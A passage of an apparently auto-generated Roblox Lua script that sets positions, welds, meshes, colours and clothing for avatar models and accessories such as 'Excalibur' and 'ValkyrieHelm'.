Weld347.C0 = CFrame.new(-0.018335551, 0.140847206, -0.125486106, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Weld347.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld347.Part0 = Part343
Weld347.Part1 = Part321
Weld347.part1 = Part321
Accessory348.Name = "Excalibur"
Accessory348.Parent = Model320
Accessory348.AttachmentForward = Vector3.new(-0, 0.0261769425, -0.999657333)
Accessory348.AttachmentPoint = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.69465816, -0.719339609, 0, 0.719092965, 0.69441998, -0.0261769425, 0.0188301243, 0.0181840397, 0.999657333)
Accessory348.AttachmentPos = Vector3.new(0.302529037, -0.451991498, -0.0896668732)
Accessory348.AttachmentRight = Vector3.new(0.69465816, 0.719092965, 0.0188301243)
Accessory348.AttachmentUp = Vector3.new(-0.719339609, 0.69441998, 0.0181840397)
Part349.Name = "Handle"
Part349.Parent = Accessory348
Part349.CFrame = CFrame.new(-24.8834209, 3.5331347, -210.922195, 0.694665253, 0.719086766, 0.018831173, -0.719333231, 0.694427609, 0.0181828979, -1.80093321e-06, -0.0261769071, 0.999657631)
Part349.Orientation = Vector3.new(-1.03999996, 1.08000004, -46.0099983)
Part349.Position = Vector3.new(-24.8834209, 3.5331347, -210.922195)
Part349.Rotation = Vector3.new(-1.03999996, 1.08000004, -45.9900017)
Part349.Size = Vector3.new(1.18799996, 6.3119998, 0.25)
Part349.Anchored = true
Part349.BottomSurface = Enum.SurfaceType.Smooth
Part349.CanCollide = false
Part349.Locked = true
Part349.TopSurface = Enum.SurfaceType.Smooth
SpecialMesh350.Name = "SpecialMesh"
SpecialMesh350.Parent = Part349
SpecialMesh350.MeshId = "rbxassetid://4508728600"
SpecialMesh350.TextureId = "http://www.roblox.com/asset/?id=4248813863"
SpecialMesh350.MeshType = Enum.MeshType.FileMesh
StringValue351.Name = "AvatarPartScaleType"
StringValue351.Parent = Part349
StringValue351.Value = "Classic"
Weld352.Name = "AccessoryWeld"
Weld352.Parent = Part349
Weld352.C0 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.694658458, -0.719339788, 9.31322575e-10, 0.719093263, 0.694420397, -0.0261769667, 0.0188301317, 0.0181840509, 0.999657393)
Weld352.C1 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld352.Part0 = Part349
Weld352.Part1 = Part337
Weld352.part1 = Part337
Weld353.Name = "AccessoryWeld"
Weld353.Parent = Part349
Weld353.C0 = CFrame.new(0.302529037, -0.451991498, -0.0896668732, 0.694658458, -0.719339728, 9.31322575e-10, 0.719093263, 0.694420457, -0.0261769667, 0.0188301317, 0.0181840528, 0.999657393)
Weld353.C1 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld353.Part0 = Part349
Weld353.Part1 = Part337
Weld353.part1 = Part337
Accessory354.Name = "ValkyrieHelm"
Accessory354.Parent = Model320
Accessory354.AttachmentForward = Vector3.new(0, -0.254995316, -0.96694231)
Accessory354.AttachmentPoint = CFrame.new(0, -0.340000004, -0.239999995, 1, 0, -0, 0, 0.96694231, 0.254995316, 0, -0.254995316, 0.96694231)
Accessory354.AttachmentPos = Vector3.new(0, -0.340000004, -0.239999995)
Accessory354.AttachmentUp = Vector3.new(0, 0.96694231, -0.254995316)
Part355.Name = "Handle"
Part355.Parent = Accessory354
Part355.CFrame = CFrame.new(-24.9999981, 5.26750851, -210.680969, 0.999999702, -1.96366642e-07, 6.91201762e-08, 7.65508048e-08, 0.966941953, -0.254995197, -9.37916411e-13, 0.254995346, 0.96694243)
Part355.Orientation = Vector3.new(14.7700005, 0, 0)
Part355.Position = Vector3.new(-24.9999981, 5.26750851, -210.680969)
Part355.Rotation = Vector3.new(14.7700005, 0, 0)
Part355.Size = Vector3.new(1, 0.800000012, 1)
Part355.Anchored = true
Part355.BottomSurface = Enum.SurfaceType.Smooth
Part355.CanCollide = false
Part355.Locked = true
Part355.TopSurface = Enum.SurfaceType.Smooth
Part355.FormFactor = Enum.FormFactor.Plate
Part355.formFactor = Enum.FormFactor.Plate
SpecialMesh356.Parent = Part355
SpecialMesh356.MeshId = "http://www.roblox.com/asset/?id=1365696"
SpecialMesh356.Scale = Vector3.new(1, 1, 1.14999998)
SpecialMesh356.TextureId = "http://www.roblox.com/asset/?id=1365693"
SpecialMesh356.MeshType = Enum.MeshType.FileMesh
Weld357.Name = "AccessoryWeld"
Weld357.Parent = Part355
Weld357.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231)
Weld357.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld357.Part0 = Part355
Weld357.Part1 = Part321
Weld357.part1 = Part321
Weld358.Name = "AccessoryWeld"
Weld358.Parent = Part355
Weld358.C0 = CFrame.new(8.65838956e-09, -0.243375778, -0.265762806, 1, 7.87136756e-09, 2.13162821e-14, -7.61116326e-09, 0.96694231, 0.254995316, 2.00714112e-09, -0.254995316, 0.96694231)
Weld358.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld358.Part0 = Part355
Weld358.Part1 = Part321
Weld358.part1 = Part321
Camera359.Name = "ThumbnailCamera"
Camera359.Parent = Accessory354
Camera359.CFrame = CFrame.new(3.10388184, 18.1028881, 19.2127419, -0.653418839, -0.0988031328, 0.750521004, -0, 0.99144578, 0.130519897, -0.756996691, 0.0852841586, -0.647829235)
Camera359.CoordinateFrame = CFrame.new(3.10388184, 18.1028881, 19.2127419, -0.653418839, -0.0988031328, 0.750521004, -0, 0.99144578, 0.130519897, -0.756996691, 0.0852841586, -0.647829235)
Camera359.Focus = CFrame.new(1.60284019, 17.8418484, 20.5084, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Camera359.focus = CFrame.new(1.60284019, 17.8418484, 20.5084, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Accessory360.Name = "Ultra-Fabulous Hair"
Accessory360.Parent = Model320
Part361.Name = "Handle"
Part361.Parent = Accessory360
Part361.CFrame = CFrame.new(-24.9999981, 4.99994659, -210.999725, 0.999999702, -2.07505991e-07, 1.67618452e-08, 7.65451205e-08, 0.999999642, 1.8623723e-08, -1.96109795e-12, -2.67164069e-12, 1.00000012)
Part361.Position = Vector3.new(-24.9999981, 4.99994659, -210.999725)
Part361.Size = Vector3.new(2, 2, 2)
Part361.Anchored = true
Part361.BottomSurface = Enum.SurfaceType.Smooth
Part361.CanCollide = false
Part361.Locked = true
Part361.TopSurface = Enum.SurfaceType.Smooth
Part361.FormFactor = Enum.FormFactor.Symmetric
Part361.formFactor = Enum.FormFactor.Symmetric
SpecialMesh362.Parent = Part361
SpecialMesh362.MeshId = "http://www.roblox.com/asset/?id=16627529"
SpecialMesh362.Scale = Vector3.new(1.04999995, 1.04999995, 1.04999995)
SpecialMesh362.TextureId = "http://www.roblox.com/asset/?id=16627494"
SpecialMesh362.MeshType = Enum.MeshType.FileMesh
Weld363.Name = "AccessoryWeld"
Weld363.Parent = Part361
Weld363.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld363.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld363.Part0 = Part361
Weld363.Part1 = Part321
Weld363.part1 = Part321
Weld364.Name = "AccessoryWeld"
Weld364.Parent = Part361
Weld364.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1)
Weld364.C1 = CFrame.new(0, 0.600000024, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld364.Part0 = Part361
Weld364.Part1 = Part321
Weld364.part1 = Part321
BodyColors365.Parent = Model320
BodyColors365.HeadColor = BrickColor.new("Light orange")
BodyColors365.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors365.LeftArmColor = BrickColor.new("Light orange")
BodyColors365.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors365.LeftLegColor = BrickColor.new("Light orange")
BodyColors365.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors365.RightArmColor = BrickColor.new("Light orange")
BodyColors365.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors365.RightLegColor = BrickColor.new("Light orange")
BodyColors365.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549)
BodyColors365.TorsoColor = BrickColor.new("Light orange")
BodyColors365.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549)
Shirt366.Name = "Shirt"
Shirt366.Parent = Model320
Shirt366.ShirtTemplate = "http://www.roblox.com/asset/?id=3789229425"
Pants367.Name = "Pants"
Pants367.Parent = Model320
Pants367.PantsTemplate = "http://www.roblox.com/asset/?id=2445453616"
Model368.Parent = Model319
Model369.Parent = Model368
Part370.Name = "Right Arm"
Part370.Parent = Model369
Part370.CFrame = CFrame.new(-16.5410156, 55.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part370.Orientation = Vector3.new(-90, -180, 0)
Part370.Position = Vector3.new(-16.5410156, 55.5002365, -217.551559)
Part370.Rotation = Vector3.new(-90, 0, -180)
Part370.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part370.Size = Vector3.new(1, 2, 1)
Part370.Anchored = true
Part370.BottomSurface = Enum.SurfaceType.Smooth
Part370.BrickColor = BrickColor.new("Bright green")
Part370.TopSurface = Enum.SurfaceType.Smooth
Part370.brickColor = BrickColor.new("Bright green")
Weld371.Parent = Part370
Weld371.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld371.C1 = CFrame.new(0.5, 0.200073242, 0, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld371.Part0 = Part370
Weld371.Part1 = Part500
Weld371.part1 = Part500
Weld372.Parent = Part370
Weld372.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld372.C1 = CFrame.new(0.599975586, -0.199996948, 0, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld372.Part0 = Part370
Weld372.Part1 = Part475
Weld372.part1 = Part475
Part373.Name = "Right Arm"
Part373.Parent = Model369
Part373.CFrame = CFrame.new(-15.5410156, 55.5002365, -217.551559, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Part373.Orientation = Vector3.new(0, 90, 90)
Part373.Position = Vector3.new(-15.5410156, 55.5002365, -217.551559)
Part373.Rotation = Vector3.new(90, 90, 0)
Part373.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part373.Size = Vector3.new(1, 2, 1)
Part373.Anchored = true
Part373.BottomSurface = Enum.SurfaceType.Smooth
Part373.BrickColor = BrickColor.new("Bright green")
Part373.TopSurface = Enum.SurfaceType.Smooth
Part373.brickColor = BrickColor.new("Bright green")
Part374.Name = "Torso"
Part374.Parent = Model369
Part374.CFrame = CFrame.new(-16.0410156, 57.0002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part374.Orientation = Vector3.new(0, 180, 0)
Part374.Position = Vector3.new(-16.0410156, 57.0002365, -218.051559)
Part374.Rotation = Vector3.new(-180, 0, -180)
Part374.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part374.Size = Vector3.new(2, 2, 1)
Part374.Anchored = true
Part374.BrickColor = BrickColor.new("Bright blue")
Part374.LeftParamA = 0
Part374.LeftParamB = 0
Part374.LeftSurface = Enum.SurfaceType.Weld
Part374.RightParamA = 0
Part374.RightParamB = 0
Part374.RightSurface = Enum.SurfaceType.Weld
Part374.brickColor = BrickColor.new("Bright blue")
Weld375.Parent = Part374
Weld375.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld375.C1 = CFrame.new(-0.5, -0.5, -0.299926758, -0, -0, 1, 1, 0, 0, 0, 1, 0)
Weld375.Part0 = Part374
Weld375.Part1 = Part376
Weld375.part1 = Part376
Part376.Name = "Right Arm"
Part376.Parent = Model369
Part376.CFrame = CFrame.new(-17.5410156, 57.3001671, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part376.Orientation = Vector3.new(-90, -180, 0)
Part376.Position = Vector3.new(-17.5410156, 57.3001671, -217.551559)
Part376.Rotation = Vector3.new(-90, 0, -180)
Part376.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part376.Size = Vector3.new(1, 2, 1)
Part376.Anchored = true
Part376.BottomSurface = Enum.SurfaceType.Smooth
Part376.BrickColor = BrickColor.new("Bright yellow")
Part376.TopSurface = Enum.SurfaceType.Smooth
Part376.brickColor = BrickColor.new("Bright yellow")
Part377.Name = "Head"
Part377.Parent = Model369
Part377.CFrame = CFrame.new(-16.0410156, 58.5002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part377.Orientation = Vector3.new(0, 180, 0)
Part377.Position = Vector3.new(-16.0410156, 58.5002365, -218.051559)
Part377.Rotation = Vector3.new(-180, 0, -180)
Part377.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part377.Size = Vector3.new(2, 1, 1)
Part377.Anchored = true
Part377.BrickColor = BrickColor.new("Bright yellow")
Part377.TopSurface = Enum.SurfaceType.Smooth
Part377.brickColor = BrickColor.new("Bright yellow")
SpecialMesh378.Parent = Part377
SpecialMesh378.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal379.Name = "face"
Decal379.Parent = Part377
Snap380.Parent = Part377
Snap380.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap380.C1 = CFrame.new(0, 1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Snap380.Part0 = Part377
Snap380.Part1 = Part374
Snap380.part1 = Part374
Part381.Name = "Right Arm"
Part381.Parent = Model369
Part381.CFrame = CFrame.new(-14.5410156, 57.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part381.Orientation = Vector3.new(-90, -180, 0)
Part381.Position = Vector3.new(-14.5410156, 57.5002365, -217.551559)
Part381.Rotation = Vector3.new(-90, 0, -180)
Part381.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part381.Size = Vector3.new(1, 2, 1)
Part381.Anchored = true
Part381.BottomSurface = Enum.SurfaceType.Smooth
Part381.BrickColor = BrickColor.new("Bright yellow")
Part381.TopSurface = Enum.SurfaceType.Smooth
Part381.brickColor = BrickColor.new("Bright yellow")
Weld382.Parent = Part381
Weld382.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld382.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0)
Weld382.Part0 = Part381
Weld382.Part1 = Part374
Weld382.part1 = Part374
Weld383.Parent = Part381
Weld383.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld383.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0)
Weld383.Part0 = Part381
Weld383.Part1 = Part374
Weld383.part1 = Part374
Weld384.Parent = Part381
Weld384.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld384.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0)
Weld384.Part0 = Part381
Weld384.Part1 = Part374
Weld384.part1 = Part374
Weld385.Parent = Part381
Weld385.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld385.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0)
Weld385.Part0 = Part381
Weld385.Part1 = Part374
Weld385.part1 = Part374
Weld386.Parent = Part381
Weld386.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld386.C1 = CFrame.new(-1, 0.5, -0.5, 0, -0, 1, -1, 0, 0, 0, -1, 0)
Weld386.Part0 = Part381
Weld386.Part1 = Part374
Weld386.part1 = Part374
Model387.Parent = Model368
Part388.Name = "Right Arm"
Part388.Parent = Model387
Part388.CFrame = CFrame.new(-11.0410156, 55.5002365, -213.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0)
Part388.Orientation = Vector3.new(-90, 90, 0)
Part388.Position = Vector3.new(-11.0410156, 55.5002365, -213.051559)
Part388.Rotation = Vector3.new(-90, 0, 90)
Part388.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part388.Size = Vector3.new(1, 2, 1)
Part388.Anchored = true
Part388.BottomSurface = Enum.SurfaceType.Smooth
Part388.BrickColor = BrickColor.new("Bright green")
Part388.TopSurface = Enum.SurfaceType.Smooth
Part388.brickColor = BrickColor.new("Bright green")
Weld389.Parent = Part388
Weld389.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1)
Weld389.C1 = CFrame.new(0.5, 0.200073242, -1, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld389.Part0 = Part388
Weld389.Part1 = Part540
Weld389.part1 = Part540
Weld390.Parent = Part388
Weld390.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld390.C1 = CFrame.new(0.599975586, -0.199951172, -1, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld390.Part0 = Part388
Weld390.Part1 = Part536
Weld390.part1 = Part536
Weld391.Parent = Part388
Weld391.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld391.C1 = CFrame.new(0.5, 0.199951172, -0.399780273, -0, -1, -0, -0, -0, -1, 1, 0, 0)
Weld391.Part0 = Part388
Weld391.Part1 = Part512
Weld391.part1 = Part512
Part392.Name = "Right Arm"
Part392.Parent = Model387
Part392.CFrame = CFrame.new(-11.0410156, 55.5002365, -212.051559, 0, -1, 0, 1, 0, -0, 0, 0, 1)
Part392.Orientation = Vector3.new(0, 0, 90)
Part392.Position = Vector3.new(-11.0410156, 55.5002365, -212.051559)
Part392.Rotation = Vector3.new(0, 0, 90)
Part392.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part392.Size = Vector3.new(1, 2, 1)
Part392.Anchored = true
Part392.BottomSurface = Enum.SurfaceType.Smooth
Part392.BrickColor = BrickColor.new("Bright green")
Part392.TopSurface = Enum.SurfaceType.Smooth
Part392.brickColor = BrickColor.new("Bright green")
Weld393.Parent = Part392
Weld393.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld393.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld393.Part0 = Part392
Weld393.Part1 = Part536
Weld393.part1 = Part536
Weld394.Parent = Part392
Weld394.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld394.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld394.Part0 = Part392
Weld394.Part1 = Part540
Weld394.part1 = Part540
Weld395.Parent = Part392
Weld395.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld395.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld395.Part0 = Part392
Weld395.Part1 = Part540
Weld395.part1 = Part540
Weld396.Parent = Part392
Weld396.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld396.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld396.Part0 = Part392
Weld396.Part1 = Part540
Weld396.part1 = Part540
Weld397.Parent = Part392
Weld397.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld397.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld397.Part0 = Part392
Weld397.Part1 = Part536
Weld397.part1 = Part536
Weld398.Parent = Part392
Weld398.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld398.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld398.Part0 = Part392
Weld398.Part1 = Part536
Weld398.part1 = Part536
Weld399.Parent = Part392
Weld399.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld399.C1 = CFrame.new(0.599971771, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld399.Part0 = Part392
Weld399.Part1 = Part536
Weld399.part1 = Part536
Weld400.Parent = Part392
Weld400.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld400.C1 = CFrame.new(0.5, 0.200073242, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld400.Part0 = Part392
Weld400.Part1 = Part540
Weld400.part1 = Part540
Weld401.Parent = Part392
Weld401.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld401.C1 = CFrame.new(0.5, 0.200069427, 0, 0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld401.Part0 = Part392
Weld401.Part1 = Part540
Weld401.part1 = Part540
Weld402.Parent = Part392
Weld402.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld402.C1 = CFrame.new(0.599975586, -0.199951172, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld402.Part0 = Part392
Weld402.Part1 = Part536
Weld402.part1 = Part536
Part403.Name = "Torso"
Part403.Parent = Model387
Part403.CFrame = CFrame.new(-10.5410156, 57.0002365, -212.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part403.Orientation = Vector3.new(0, 90, 0)
Part403.Position = Vector3.new(-10.5410156, 57.0002365, -212.551559)
Part403.Rotation = Vector3.new(0, 90, 0)
Part403.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part403.Size = Vector3.new(2, 2, 1)
Part403.Anchored = true
Part403.BrickColor = BrickColor.new("Bright blue")
Part403.LeftParamA = 0
Part403.LeftParamB = 0
Part403.LeftSurface = Enum.SurfaceType.Weld
Part403.RightParamA = 0
Part403.RightParamB = 0
Part403.RightSurface = Enum.SurfaceType.Weld
Part403.brickColor = BrickColor.new("Bright blue")
Weld404.Parent = Part403
Weld404.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld404.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0)
Weld404.Part0 = Part403
Weld404.Part1 = Part422
Weld404.part1 = Part422
Weld405.Parent = Part403
Weld405.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld405.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0)
Weld405.Part0 = Part403
Weld405.Part1 = Part417
Weld405.part1 = Part417
Snap406.Parent = Part403
Snap406.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap406.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap406.Part0 = Part403
Snap406.Part1 = Part419
Snap406.part1 = Part419
Weld407.Parent = Part403
Weld407.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld407.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld407.Part0 = Part403
Weld407.Part1 = Part536
Weld407.part1 = Part536
Weld408.Parent = Part403
Weld408.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld408.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0)
Weld408.Part0 = Part403
Weld408.Part1 = Part417
Weld408.part1 = Part417
Weld409.Parent = Part403
Weld409.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld409.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0)
Weld409.Part0 = Part403
Weld409.Part1 = Part422
Weld409.part1 = Part422
Weld410.Parent = Part403
Weld410.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld410.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0)
Weld410.Part0 = Part403
Weld410.Part1 = Part417
Weld410.part1 = Part417
Weld411.Parent = Part403
Weld411.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld411.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld411.Part0 = Part403
Weld411.Part1 = Part536
Weld411.part1 = Part536
Weld412.Parent = Part403
Weld412.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld412.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld412.Part0 = Part403
Weld412.Part1 = Part536
Weld412.part1 = Part536
Weld413.Parent = Part403
Weld413.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld413.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0)
Weld413.Part0 = Part403
Weld413.Part1 = Part422
Weld413.part1 = Part422
Weld414.Parent = Part403
Weld414.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld414.C1 = CFrame.new(-0.5, -0.5, -0.299930573, 0, -0, 1, 1, -0, 0, 0, 1, 0)
Weld414.Part0 = Part403
Weld414.Part1 = Part417
Weld414.part1 = Part417
Weld415.Parent = Part403
Weld415.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld415.C1 = CFrame.new(0.5, -0.5, -0.5, -0, -0, -1, -1, -0, -0, 0, 1, 0)
Weld415.Part0 = Part403
Weld415.Part1 = Part422
Weld415.part1 = Part422
Weld416.Parent = Part403
Weld416.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld416.C1 = CFrame.new(-0.900028229, -0.199951172, -0.5, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld416.Part0 = Part403
Weld416.Part1 = Part536
Weld416.part1 = Part536
Part417.Name = "Right Arm"
Part417.Parent = Model387
Part417.CFrame = CFrame.new(-11.0410156, 57.3001671, -214.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0)
Part417.Orientation = Vector3.new(-90, 90, 0)
Part417.Position = Vector3.new(-11.0410156, 57.3001671, -214.051559)
Part417.Rotation = Vector3.new(-90, 0, 90)
Part417.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part417.Size = Vector3.new(1, 2, 1)
Part417.Anchored = true
Part417.BottomSurface = Enum.SurfaceType.Smooth
Part417.BrickColor = BrickColor.new("Bright yellow")
Part417.TopSurface = Enum.SurfaceType.Smooth
Part417.brickColor = BrickColor.new("Bright yellow")
Weld418.Parent = Part417
Weld418.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld418.C1 = CFrame.new(1, 0.299926758, -0.5, -0, 0, -1, 1, 0, 0, 0, -1, 0)
Weld418.Part0 = Part417
Weld418.Part1 = Part403
Weld418.part1 = Part403
Part419.Name = "Head"
Part419.Parent = Model387
Part419.CFrame = CFrame.new(-10.5410156, 58.5002365, -212.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part419.Orientation = Vector3.new(0, 90, 0)
Part419.Position = Vector3.new(-10.5410156, 58.5002365, -212.551559)
Part419.Rotation = Vector3.new(0, 90, 0)
Part419.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part419.Size = Vector3.new(2, 1, 1)
Part419.Anchored = true
Part419.BrickColor = BrickColor.new("Bright yellow")
Part419.TopSurface = Enum.SurfaceType.Smooth
Part419.brickColor = BrickColor.new("Bright yellow")
SpecialMesh420.Parent = Part419
SpecialMesh420.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal421.Name = "face"
Decal421.Parent = Part419
Part422.Name = "Right Arm"
Part422.Parent = Model387
Part422.CFrame = CFrame.new(-11.0410156, 57.5002365, -211.051559, 0, -1, 0, 0, 0, 1, -1, 0, 0)
Part422.Orientation = Vector3.new(-90, 90, 0)
Part422.Position = Vector3.new(-11.0410156, 57.5002365, -211.051559)
Part422.Rotation = Vector3.new(-90, 0, 90)
Part422.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part422.Size = Vector3.new(1, 2, 1)
Part422.Anchored = true
Part422.BottomSurface = Enum.SurfaceType.Smooth
Part422.BrickColor = BrickColor.new("Bright yellow")
Part422.TopSurface = Enum.SurfaceType.Smooth
